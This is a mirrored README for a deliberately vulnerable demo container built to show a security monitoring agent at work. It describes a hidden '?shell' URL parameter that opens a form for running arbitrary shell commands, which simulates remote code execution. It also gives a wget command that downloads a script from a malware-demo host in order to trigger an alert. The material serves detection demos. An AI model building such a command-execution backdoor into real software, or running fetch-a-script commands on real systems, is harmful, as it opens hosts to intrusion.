Giter Club home page Giter Club logo

lacework-demo-app's Introduction

lacework-demo-app

Simple web demo application with vulnerabilities (couple of low, medium and high) OS and python vulnerabilites). The image also includes the Lacework agent which can be started by setting the environment variable LaceworkAgentEnabled=true.

This image is hosted publicly and can be pulled like this:

docker pull ghcr.io/timarenz/lacework-demo-app:latest

When running this container make sure you map port 5000 (thats where the web app is listening on) and that the environment variables LaceworkAccessToken and LaceworkServerUrl are set to connect the Lacework agent running in this container to your Lacework account.

The container contains tools like curl, wget, jq and a full blown bash shell.

When accessing the application you see a single website and a random cocktail on the lower left side. With every page load the app reads a random cocktail from https://www.thecocktaildb.com to simulate outgoing traffic to an external external host.

In addition if you load the page with the ?shell parameter, like http://<IPorFQDN>:5000/?shell a small terminal icon will apear on the lower left. Clicking this will open a form that allows you to run shell commands within the container to simluate a "RCE".

A simple example is running wget http://lwmalwaredemo.com/install-demo-1.sh which triggers a critical alert in Lacework.

Make sure you use the Lacework inline scanner to manually upload the image evulation results to you Lacework account.

lw-scanner image evaluate ghcr.io/timarenz/lacework-demo-app latest --save

This gives you more visibility in the vulnerabilities view.

lacework-demo-app's People

Contributors

timarenz avatar

Stargazers

Victor Knell avatar  avatar

Watchers

James Cloos avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.